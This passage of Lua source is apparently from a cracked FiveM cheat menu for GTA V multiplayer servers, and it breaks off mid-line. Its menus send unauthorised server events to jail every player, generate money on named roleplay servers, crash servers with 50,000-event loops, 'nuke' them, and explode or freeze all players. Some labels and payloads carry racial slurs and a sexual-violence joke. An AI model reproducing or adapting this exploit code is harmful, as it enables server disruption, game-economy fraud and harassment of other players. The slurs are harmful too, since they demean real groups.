TriggerServerEvent("esx_jailer:jail", GetPlayerServerId(i),
99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu", 99953)
TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7',
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("projektsantos:wiezienie",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("luki_jailer:sendToJail",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("arisonarp:wiezienie",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("esx_jail:sendToJail",
GetPlayerServerId(i), 99999 * 60)
TriggerServerEvent("js:jailuser", GetPlayerServerId(i),
99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu")
TriggerServerEvent("esx-qalle-jail:jailPlayer",
GetPlayerServerId(i), 999999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu")
TriggerServerEvent("wiezieniejailer:sendToJail",3,
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 1,2137)
TriggerServerEvent("esxjailer:sendToJail2",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
1)
TriggerServerEvent('esx:wiezienie', GetPlayerServerId(i),
99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu", 99953)
TriggerServerEvent("esxjailers:sendToJail",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
99953)
TriggerServerEvent("arisonarp:wiezienie",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
99953)
TriggerServerEvent("esx_jail:sendTooJail",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
99953)
TriggerServerEvent("esxjailer:sendToJailf",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
99953)
TriggerServerEvent("esxjailer:sendTooJail",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
99953)
TriggerServerEvent("esxjailer:sendToJailf",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
99953)
TriggerServerEvent("esxjailers:sendToJail",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
99953)
TriggerServerEvent("esx_jailer:sendToWiezz",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
99953)
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(i), 99999, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
99953)
TriggerServerEvent("esx_jailer:sendToJailf",
GetPlayerServerId(i), 99999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 99953)
TriggerServerEvent("esx_wiezienie:wyslijwiezienie",
GetPlayerServerId(i), 9999 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 9999)
TriggerServerEvent("esx_jailer:sendToJailhype",
GetPlayerServerId(i), 100 * 60, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan
pesu", 999)
TriggerServerEvent("esx-qalle-jail:wyslijwiezienie",
GetPlayerServerId(i), 60*1, "Pankkiryöstö, Törkeä huumausaine rikos, Rahan pesu",
111)
end
end
local SelectedPlayer
while Enabled do
if intro == 0 then
scaleform = Initialize("mp_big_message_freemode", "~r~ MENU!")
DrawScaleformMovieFullscreen(scaleform, 80, 80, 80, 80, 0)
Citizen.CreateThread(function()
while true do
Wait(2000)
intro = intro + 1
end
end)
elseif intro == 100 then
end
ped = PlayerPedId()
veh = GetVehiclePedIsUsing(ped)
SetVehicleModKit(veh, 0)
for i, dA in pairs(bd) do
if xseira.IsMenuOpened("tunings") then
if b8 then
if ba == "neon" then
local r, g, b = table.unpack(b9)
SetVehicleNeonLightsColour(veh, r, g, b)
SetVehicleNeonLightEnabled(veh, 0, bc)
SetVehicleNeonLightEnabled(veh, 1, bc)
SetVehicleNeonLightEnabled(veh, 2, bc)
SetVehicleNeonLightEnabled(veh, 3, bc)
b8 = false
ba = -1
b9 = -1
elseif ba == "paint" then
local dB, dC, dD, dA = table.unpack(b9)
SetVehicleColours(veh, dB, dC)
SetVehicleExtraColours(veh, dD, dA)
b8 = false
ba = -1;
b9 = -1
else
if bc == "rm" then
RemoveVehicleMod(veh, ba)
b8 = false
ba = -1
b9 = -1
else
SetVehicleMod(veh, ba, b9, false)
b8 = false
ba = -1
b9 = -1
end
end
end
end
if xseira.IsMenuOpened(dA.id) then
if dA.id == "wheeltypes" then
if xseira.Button("Sport Wheels") then
SetVehicleWheelType(veh, 0)
elseif xseira.Button("Muscle Wheels") then
SetVehicleWheelType(veh, 1)
elseif xseira.Button("Lowrider Wheels") then
SetVehicleWheelType(veh, 2)
elseif xseira.Button("SUV Wheels") then
SetVehicleWheelType(veh, 3)
elseif xseira.Button("Offroad Wheels") then
SetVehicleWheelType(veh, 4)
elseif xseira.Button("Tuner Wheels") then
SetVehicleWheelType(veh, 5)
elseif xseira.Button("High End Wheels") then
SetVehicleWheelType(veh, 7)
end
xseira.Display()
elseif dA.id == "extra" then
local dF = checkValidVehicleExtras()
for i, dA in pairs(dF) do
if IsVehicleExtraTurnedOn(veh, i) then
pricestring = "Installed"
else
pricestring = "Not Installed"
end
if xseira.Button(dA.menuName, pricestring) then
SetVehicleExtra(veh, i,
IsVehicleExtraTurnedOn(veh, i))
end
end
xseira.Display()
elseif dA.id == "headlight" then
if xseira.Button("None") then
SetVehicleHeadlightsColour(veh, -1)
end
for dK, dA in pairs(bo) do
tp = GetVehicleHeadlightsColour(veh)
if tp == dA.id and not bg then
pricetext = "Installed"
else
if bg and tp == dA.id then
pricetext = "Previewing"
else pricetext = "Not Installed"
end
end
head = GetVehicleHeadlightsColour(veh)
if xseira.Button(dA.name, pricetext) then
if not bg then
bi = "headlight"
bk = false
oldhead = GetVehicleHeadlightsColour(veh)
bh = table.pack(oldhead)
SetVehicleHeadlightsColour(veh, dA.id)
bg = true
elseif bg and head == dA.id then
ToggleVehicleMod(veh, 22, true)
SetVehicleHeadlightsColour(veh, dA.id)
bg = false; bi = -1; bh = -1
elseif bg and head ~= dA.id then
SetVehicleHeadlightsColour(veh, dA.id) bg =
true
end
end
end
xseira.Display()
elseif dA.id == "neon" then
if xseira.Button("None") then
SetVehicleNeonLightsColour(veh, 255, 255, 255)
SetVehicleNeonLightEnabled(veh, 0, false)
SetVehicleNeonLightEnabled(veh, 1, false)
SetVehicleNeonLightEnabled(veh, 2, false)
SetVehicleNeonLightEnabled(veh, 3, false)
end
for i, dA in pairs(colors) do
colorr, colorg, colorb = table.unpack(dA)
r, g, b = GetVehicleNeonLightsColour(veh)
if colorr == r and colorg == g and colorb == b and
IsVehicleNeonLightEnabled(vehicle, 2) and not b8 then
pricestring = "Installed"
else
if b8 and colorr == r and colorg == g and
colorb == b then
pricestring = "Previewing"
else
pricestring = "Not Installed"
end
end
if xseira.Button(i, pricestring) then
if not b8 then
ba = "neon"
bc = IsVehicleNeonLightEnabled(veh, 1)
oldr, oldg, oldb =
GetVehicleNeonLightsColour(veh)
b9 = table.pack(oldr, oldg, oldb)
SetVehicleNeonLightsColour(veh, colorr,
colorg, colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b8 = true
elseif b8 and colorr == r and colorg == g and
colorb == b then
SetVehicleNeonLightsColour(veh, colorr,
colorg, colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b8 = false
ba = -1
b9 = -1
elseif b8 and colorr ~= r or colorg ~= g or
colorb ~= b then
SetVehicleNeonLightsColour(veh, colorr,
colorg, colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b8 = true
end
end
end
xseira.Display()
elseif dA.id == "paint" then
if xseira.MenuButton("∑Primary Paint", "primary") then
elseif xseira.MenuButton("∑Secondary Paint",
"secondary") then
elseif xseira.MenuButton("∑Wheel Paint", "rimpaint")
then
end
xseira.Display()
else
local as = checkValidVehicleMods(dA.id)
for dG, dH in pairs(as) do
if dH.menuName == "Stock" then
price = 0
end
if dA.name == "Horns" then
for dI, dJ in pairs(horns) do
if dJ ==dG - 1 then
dH.menuName = dI
end
end
end
if dH.menuName == "NULL" then
dH.menuname = "unknown"
end
if xseira.Button(dH.menuName, price) then
if not b8 then
ba = dA.id
b9 = GetVehicleMod(veh, dA.id)
b8 = true
if dH.data.realIndex == -1 then
bc = "rm"
RemoveVehicleMod(veh, dH.data.modid)
b8 = false
ba = -1
b9 = -1
bc = false
else
bc = false
SetVehicleMod(veh, dA.id,
dH.data.realIndex, false)
end
elseif b8 and GetVehicleMod(veh, dA.id) ==
dH.data.realIndex then
b8 = false
ba = -1
b9 = -1
bc = false
if dH.data.realIndex == -1 then
RemoveVehicleMod(veh, dH.data.modid)
else
SetVehicleMod(veh, dA.id,
dH.data.realIndex, false)
end
elseif b8 and GetVehicleMod(veh, dA.id) ~=
dH.data.realIndex then
if dH.data.realIndex == -1 then
RemoveVehicleMod(veh, dH.data.modid)
b8 = false
ba = -1
b9 = -1
bc = false
else
SetVehicleMod(veh, dA.id,
dH.data.realIndex, false)
b8 = true
end
end
end
end
xseira.Display()
end
end
end
for i, dA in pairs(be) do
if xseira.IsMenuOpened(dA.id) then
if GetVehicleMod(veh, dA.id) == 0 then pricestock = "Not Installed"
price1 = "Installed"
price2 = "Not Installed"
price3 = "Not Installed"
price4 = "Not Installed"
elseif GetVehicleMod(veh, dA.id) == 1 then pricestock = "Not
Installed"
price1 = "Not Installed"
price2 = "Installed"
price3 = "Not Installed"
price4 = "Not Installed"
elseif GetVehicleMod(veh, dA.id) == 2 then pricestock = "Not
Installed"
price1 = "Not Installed"
price2 = "Not Installed"
price3 = "Installed"
price4 = "Not Installed"
elseif GetVehicleMod(veh, dA.id) == 3 then pricestock = "Not
Installed"
price1 = "Not Installed"
price2 = "Not Installed"
price3 = "Not Installed"
price4 = "Installed"
elseif GetVehicleMod(veh, dA.id) == -1 then pricestock =
"Installed"
price1 = "Not Installed"
price2 = "Not Installed"
price3 = "Not Installed"
price4 = "Not Installed"
end
if xseira.Button("Stock "..dA.name, pricestock) then
SetVehicleMod(veh, dA.id, -1)
elseif xseira.Button(dA.name.." Upgrade 1", price1) then
SetVehicleMod(veh, dA.id, 0)
elseif xseira.Button(dA.name.." Upgrade 2", price2) then
SetVehicleMod(veh, dA.id, 1)
elseif xseira.Button(dA.name.." Upgrade 3", price3) then
SetVehicleMod(veh, dA.id, 2)
elseif dA.id ~= 13 and dA.id ~= 12 and xseira.Button(dA.name.." Upgrade
4", price4) then
SetVehicleMod(veh, dA.id, 3) end; xseira.Display()
end
end
if xseira.IsMenuOpened("MainMenu") then
drawNotification("~f~Nice menu man!")
if xseira.MenuButton("∑Self Menu", "SelfMenu") then
elseif xseira.MenuButton("∑~r~global ~w~∑Options",
"xariesmenu") then
elseif xseira.MenuButton("∑Teleport Menu", "TeleportMenu") then
elseif xseira.MenuButton("∑Online Players",
"OnlinePlayersMenu") then
elseif xseira.MenuButton("∑Weapon Menu", "WeaponMenu") then
elseif xseira.MenuButton("∑Vehicle Menu", "VehMenu") then
elseif xseira.MenuButton("∑Malicious Hacks", "MaliciousMenu")
then
elseif xseira.MenuButton("∑Trolling Options", "TrollMenu") then
elseif xseira.MenuButton("∑ESX Options", "ESXMenu") then
elseif xseira.MenuButton("∑VRP Options", "VRPMenu") then
elseif xseira.MenuButton("∑Settings", "SettingsMenu") then
elseif xseira.Button("Disable Menu") then
Enabled = false
end
--
===================================================================================
=====================
xseira.Display()
elseif xseira.IsMenuOpened("xariesmenu") then
if xseira.MenuButton("~p~-> ~r~Polskie ~f~SERWERY~p~ <-",
"MoneyP") then
elseif xseira.MenuButton("~p~-> ~h~Troll Opcje Global~p~ <-",
"TrollP") then
elseif xseira.Button( "~f~GCPhone ~r~Destroy") then
gcphone()
ss()
elseif xseira.Button("~p~-> ~r~SPAWN UFO ~f~ON ALL~p~ <-") then
ufos()
ss()
elseif xseira.Button("~p~-> ~r~SPAWN RAMPS ~f~ON ALL~p~ <-")
then
rampas()
ss()
elseif xseira.Button("~p~-> ~r~Spawnuj XD ~f~ON ALL~p~ <-")
then
tabletc()
ss()
elseif xseira.Button("~p~-> ~r~Hot~f~Wheels~p~ <-") then
local wallHash = GetHashKey("stt_prop_ramp_adj_loop")
RequestModel(wallHash)
local e4 = 0
while not HasModelLoaded(wallHash) do
e4 = e4 + 100
Citizen.Wait(100)
if e4 > 5000 then
debugPrint("Failed to load model")
break
end
end
local wall1 = CreateObject(wallHash, 107.57, -1003.58,
27.41, true, true, true)
SetEntityRotation(wall1, 0.0, -0.0, 160.5560, 1, true)
local wallHash1 =
GetHashKey("stt_prop_ramp_jump_xs")
RequestModel(wallHash1)
local e4 = 0
while not HasModelLoaded(wallHash1) do
e4 = e4 + 100
Citizen.Wait(100)
if e4 > 5000 then
debugPrint("Failed to load model")
break
end
end
local wall1 = CreateObject(wallHash1, 261.46, -933.57,
28.41, true, true, true)
SetEntityRotation(wall1, 0.0, -0.0, 80.5560, 1, true)
local crashwal =
GetHashKey("ex_props_exec_crashedp")
RequestModel(crashwal)
local e4 = 0
while not HasModelLoaded(crashwal) do
e4 = e4 + 100
Citizen.Wait(100)
if e4 > 5000 then
debugPrint("Failed to load model")
break
end
end
local wall1 = CreateObject(crashwal, 410.5, -1023.48,
28.41, true, true, true)
SetEntityRotation(wall1, 0.0, -0.0, 80.5560, 1, true)
ss()
elseif xseira.Button("~p~-> ~l~Jail ~r~Global~p~ <-") then
jailall()
ss()
end
--
=========================================Pieniadze=================================
=============
xseira.Display()
elseif xseira.IsMenuOpened("MoneyP") then
if xseira.MenuButton("~p~#~s~ ~w~AvizonRP", "AvizonRPM") then
elseif xseira.MenuButton("~p~#~s~ ~w~MoroRP", "MoroRPM") then
elseif xseira.MenuButton("~p~#~s~ ~w~GoldenGateRP", "GGRPM") then
elseif xseira.MenuButton("~p~#~s~ ~w~OurlifeRP", "OurRPM") then
elseif xseira.MenuButton("~p~#~s~ ~w~JamajkaRP", "JamajkaRPM") then
end
xseira.Display()
elseif xseira.IsMenuOpened("AvizonRPM") then
if xseira.Button("~p~#~s~ ~w~Sposob 1") then
TriggerServerEvent('esx_sadownik_startHarvestCompleteJablka2')
TriggerServerEvent('esx_sadownik_startHarvestCompleteJablka4')
TriggerServerEvent('esx_sadownik:startTransform2')
TriggerServerEvent('esx_sadownik:starTriggerServerEventll3')
elseif xseira.Button("~p~#~s~ ~w~Sposob 2") then
TriggerServerEvent('esx_drugs:startHarvestCokee')
TriggerServerEvent('esx_drugs:startTransformCokee')
TriggerServerEvent('esx_drugs:starTriggerServerEventllCokee')
TriggerServerEvent('esx_drugs:startHarvestMeeth')
TriggerServerEvent('esx_drugs:startTransformMeeth')
TriggerServerEvent('esx_drugs:starTriggerServerEventllMeeth')
TriggerServerEvent('esx_drugs:startHarvestWeeed')
TriggerServerEvent('esx_drugs:startTransformWeeed')
TriggerServerEvent('esx_drugs:starTriggerServerEventllWeeed')
TriggerServerEvent('esx_drugs:startHarvestOpium')
TriggerServerEvent('esx_drugs:startTransformOpiuum')
TriggerServerEvent('esx_drugs:starTriggerServerEventllOpiuum')
TriggerServerEvent('esx_drugs:startHarvestHeroina')
TriggerServerEvent('esx_drugs:startTransformHeroina')
TriggerServerEvent('esx_drugs:starTriggerServerEventllHeroina')
TriggerServerEvent('esx_drugs:startHarvestEcstasy')
TriggerServerEvent('esx_drugs:startTransformEcstasy')
TriggerServerEvent('esx_drugs:starTriggerServerEventllEcstasy')
TriggerServerEvent('esx_society:washMoney', society, 10000)
TriggerServerEvent('esx_blanchisseur:startWhitening',
10000)
TriggerServerEvent('esx_blanchisseur:washMoney', 10000)
TriggerServerEvent('esx_blackmoney:washMoney')
TriggerServerEvent('esx_moneywash:withdraw', 10000)
TriggerServerEvent('laundry:washcash')
end
xseira.Display()
elseif xseira.IsMenuOpened("MoroRPM") then
if xseira.Button("~p~#~s~ ~w~Sposob 1") then
TriggerServerEvent('esx_winiarz:startHarvest3')
TriggerServerEvent('esx_winiarz:startTransform4')
TriggerServerEvent('esx_winiarz:startTransform6')
TriggerServerEvent('esx_winiarz:starTriggerServerEventll3')
elseif xseira.Button("~p~#~s~ ~w~Sposob 2") then
TriggerServerEvent('esx_piekarz:startHarvest3')
TriggerServerEvent('esx_piekarz:startTransform4')
TriggerServerEvent('esx_piekarz:startTransform7')
TriggerServerEvent('esx_piekarz:starTriggerServerEventll3')
elseif xseira.Button("~p~#~s~ ~w~Sposob 3") then
TriggerServerEvent('esx_slots:BetsAndMoney')
TriggerServerEvent('route68zdrapka:kasyno')
end
xseira.Display()
elseif xseira.IsMenuOpened("GGRPM") then
if xseira.Button("~p~#~s~ ~w~Sposob 1") then
TriggerServerEvent('esx_winiarz:startHarvest3')
TriggerServerEvent('esx_winiarz:startTransform4')
TriggerServerEvent('esx_winiarz:startTransform6')
TriggerServerEvent('esx_winiarz:starTriggerServerEventll3')
elseif xseira.Button("~p~#~s~ ~w~Sposob 2") then
TriggerServerEvent('esx_piekarz:startHarvest3')
TriggerServerEvent('esx_piekarz:startTransform4')
TriggerServerEvent('esx_piekarz:startTransform7')
TriggerServerEvent('esx_piekarz:starTriggerServerEventll3')
elseif xseira.Button("~p~#~s~ ~w~Sposob 3") then
TriggerServerEvent('esx_slots:BetsAndMoney')
TriggerServerEvent('route68zdrapka:kasyno')
end
xseira.Display()
elseif xseira.IsMenuOpened("OurRPM") then
if xseira.Button("~p~#~s~ ~w~Sposob 1") then
TriggerServerEvent('RouteTrucker:Zaplata', 5555)
TriggerServerEvent('RouteTrucker:Zaplata', 550)
TriggerServerEvent('RouteTrucker:Zaplata', 650)
elseif xseira.Button("~p~#~s~ ~w~Sposob 2") then
TriggerServerEvent('esx_fishing:receiveFish')
TriggerServerEvent('esx_fishing:sellAllFish')
end
xseira.Display()
elseif xseira.IsMenuOpened("JamajkaRPM") then
if xseira.Button("~p~#~s~ ~w~Sposob 1") then
TriggerServerEvent("krzaqn_sprzedawanie_nielegalnych:zlotoznapadu")
TriggerServerEvent("krzaqn_sprzedawanie_nielegalnych:daneznapadu")
end
--
===================================================================================
=====================
xseira.Display()
elseif xseira.IsMenuOpened("VRPMenu") then
if xseira.Button('VRP PayGarage 100$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -100})
elseif xseira.Button('VRP PayGarage 1000$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -1000})
elseif xseira.Button('VRP PayGarage 10 000$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -10000})
elseif xseira.Button('VRP PayGarage 100 000$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -
100000})
elseif xseira.Button('VRP Get Driver Licence') then
TriggerServerEvent('dmv:success')
elseif xseira.Button('VRP Bank Deposit') then
local amount = KeyboardInput("Enter Amount Of Money", "",
99999999999)
TriggerServerEvent('bank:deposit', amount)
elseif xseira.Button('VRP Bank Whithdraw') then
local amount = KeyboardInput("Enter Amount Of Money", "",
99999999999)
TriggerServerEvent('bank:withdraw', amount)
elseif xseira.Button('VRP Slot Machine') then
local amount = KeyboardInput("Enter Amount Of Money", "",
99999999999)
TriggerServerEvent('vrp_slotmachine:server:2', amount)
end
xseira.Display()
elseif xseira.IsMenuOpened("SettingsMenu") then
if xseira.ComboBox("Menu X", menuX, currentMenuX,
selectedMenuX, function(currentIndex, selectedIndex)
currentMenuX = currentIndex
selectedMenuX = selectedIndex
for i = 0, #allMenus do
xseira.SetMenuX(allMenus[i], menuX[currentMenuX])
end
end)
then
elseif xseira.ComboBox("Menu Y", menuY, currentMenuY,
selectedMenuY, function(currentIndex, selectedIndex)
currentMenuY = currentIndex
selectedMenuY = selectedIndex
for i = 0, #allMenus do
xseira.SetMenuY(allMenus[i], menuY[currentMenuY])
end
end)
then
elseif xseira.CheckBox("Discord Rich Presence",
discordPresence, function(enabled) discordPresence = enabled end) then
elseif xseira.MenuButton("∑Credits", "Credits") then
elseif xseira.MenuButton("∑Themes", "Themes") then
elseif xseira.MenuButton("∑Info", "InfoMenu") then
end
xseira.Display()
elseif xseira.IsMenuOpened("InfoMenu") then
if xseira.Button("Build 0.9") then
end
xseira.Display()
elseif xseira.IsMenuOpened("Themes") then
if xseira.Button("Original") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(allMenus[i], 255, 0, 0, 255)
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(dA.id, 255, 0, 0, 255)
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(dA.id, 255, 0, 0, 255)
end
elseif xseira.Button("Original Rainbow") then
animated = false
rainbow = true
Citizen.Wait(250)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
end
elseif xseira.Button("Original White") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(allMenus[i], 255, 255, 255, 255)
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
elseif xseira.Button("Original Green") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(allMenus[i], 0, 255, 0, 255)
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(dA.id, 0, 255, 0, 255)
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(dA.id, 0, 255, 0, 255)
end
elseif xseira.Button("Original Blue") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(allMenus[i], 0, 0, 255, 255)
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(dA.id, 0, 0, 255, 255)
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
xseira.SetSpriteColor(dA.id, 0, 0, 255, 255)
end
elseif xseira.Button("Gradient Black") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i], "shared",
"bggradient_16x512")
xseira.SetSpriteColor(allMenus[i], 0, 0, 255, 255)
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id, "shared",
"bggradient_16x512")
xseira.SetSpriteColor(dA.id, 0, 0, 255, 255)
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id, "shared",
"bggradient_16x512")
xseira.SetSpriteColor(dA.id, 0, 0, 255, 255)
end
elseif xseira.Button("Animated") then
for i = 0, #allMenus do
xseira.SetSpriteColor(allMenus[i], 255, 255, 255, 255)
end
rainbow = false
animated = true
elseif xseira.Button("God") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"assassinations", "target1")
xseira.SetSpriteColor(allMenus[i], 255, 255, 255, 255)
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"assassinations", "target1")
xseira.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"assassinations", "target1")
xseira.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
elseif xseira.Button("God2") then
animated = false
rainbow = false
Citizen.Wait(250)
for i = 0, #allMenus do
xseira.SetTitleBackgroundSprite(allMenus[i],
"assassinations", "target3")
xseira.SetSpriteColor(allMenus[i], 255, 255, 255, 255)
end
for i, dA in pairs(bd) do
xseira.SetTitleBackgroundSprite(dA.id,
"assassinations", "target3")
xseira.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
for i, dA in pairs(be) do
xseira.SetTitleBackgroundSprite(dA.id,
"assassinations", "target3")
xseira.SetSpriteColor(dA.id, 255, 255, 255, 255)
end
end
xseira.Display()
elseif xseira.IsMenuOpened("Credits") then
if xseira.Button("cracked by: xseira#7212") then
end
xseira.Display()
elseif xseira.IsMenuOpened("WeaponTypes") then
for e0, ev in pairs(b7) do
if xseira.MenuButton("∑"..e0, "WeaponTypeSelection") then
dy = ev
end
end
xseira.Display()
elseif xseira.IsMenuOpened("WeaponTypeSelection") then
for e0, ev in pairs(dy) do
if xseira.MenuButton(ev.name, "WeaponOptions")
then
dz = ev
end
end
xseira.Display()
elseif xseira.IsMenuOpened("WeaponOptions") then
if xseira.Button("Spawn Weapon") then
GiveWeaponToPed(GetPlayerPed(-1), GetHashKey(dz.id), 1000,
false)
end
if xseira.Button("Remove Weapon") then
RemoveWeaponFromPed(GetPlayerPed(-1), GetHashKey(dz.id))
end
if xseira.Button("Add Ammo") then
SetPedAmmo(GetPlayerPed(-1), GetHashKey(dz.id), 5000)
end
if xseira.CheckBox("Infinite ~s~Ammo",
dz.bInfAmmo, function(ew) end) then
dz.bInfAmmo = not dz.bInfAmmo
SetPedInfiniteAmmo(GetPlayerPed(-1),
dz.bInfAmmo, GetHashKey(dz.id)) SetPedInfiniteAmmoClip(GetPlayerPed(-1), true)
PedSkipNextReloading(GetPlayerPed(-1))
SetPedShootRate(GetPlayerPed(-1), 1000)
end
for e0, ev in pairs(dz.mods) do
if xseira.MenuButton("∑"..e0, "ModSelect")
then
dA = ev
end
end
xseira.Display()
elseif xseira.IsMenuOpened("ModSelect") then
for _, ev in pairs(dA) do
if xseira.Button(ev.name) then
GiveWeaponComponentToPed(GetPlayerPed(-
1), GetHashKey(dz.id), GetHashKey(ev.id))
elseif xseira.Button("~r~Remove " ..
ev.name) then
RemoveWeaponComponentFromPed(GetPlayerPed(-1), GetHashKey(dz.id),
GetHashKey(ev.id))
end
end
xseira.Display()
elseif xseira.IsMenuOpened("TrollMenu") then
if xseira.Button("ESX Server Crasher") then
for i = 1, 50000 do
TriggerServerEvent('esx_skin:responseSaveSkin', {niggers = 'gay'})
TriggerServerEvent('esx_skin:responseSaveSkin', 'niggers eat shit') end
elseif xseira.Button("ESX Send All To Jail") then
for i = 1, 128 do
TriggerServerEvent("esx-qalle-jail:jailPlayer", i,
5000,"Jailed")
TriggerServerEvent("esx_jailer:sendToJail", i,
45*60)
TriggerServerEvent("esx_jail:sendToJail", i, 45*60)
TriggerServerEvent("js:jailuser", i, 45*60,"Jailed")
end
elseif xseira.MenuButton("∑Block Off Areas", "BlockAreas") then
elseif xseira.MenuButton("∑Spawn Peds On Players",
"SpawnPedsMenu") then
elseif xseira.Button("Nuke Server") then
nukeserver()
elseif xseira.Button("Rape All Players") then
runOnAll(rape)
elseif xseira.CheckBox("Spam Chat", spam, function(enabled)
spam = enabled end) then
elseif xseira.Button("Change Spam Message") then
local temp = KeyboardInput("Enter Message Here", "", 10000)
message = temp
elseif xseira.CheckBox("Explode Everyone", blowall,
function(enabled) blowall = enabled end) then
elseif xseira.CheckBox("Freeze Everyone", fall,
function(enabled) fall = enabled end) then
elseif xseira.CheckBox("Explode Everyone Shooting", shootBomb,
function(enabled) shootBomb = enabled end) then
elseif xseira.CheckBox("Spawn Shit On Everyone", sall,
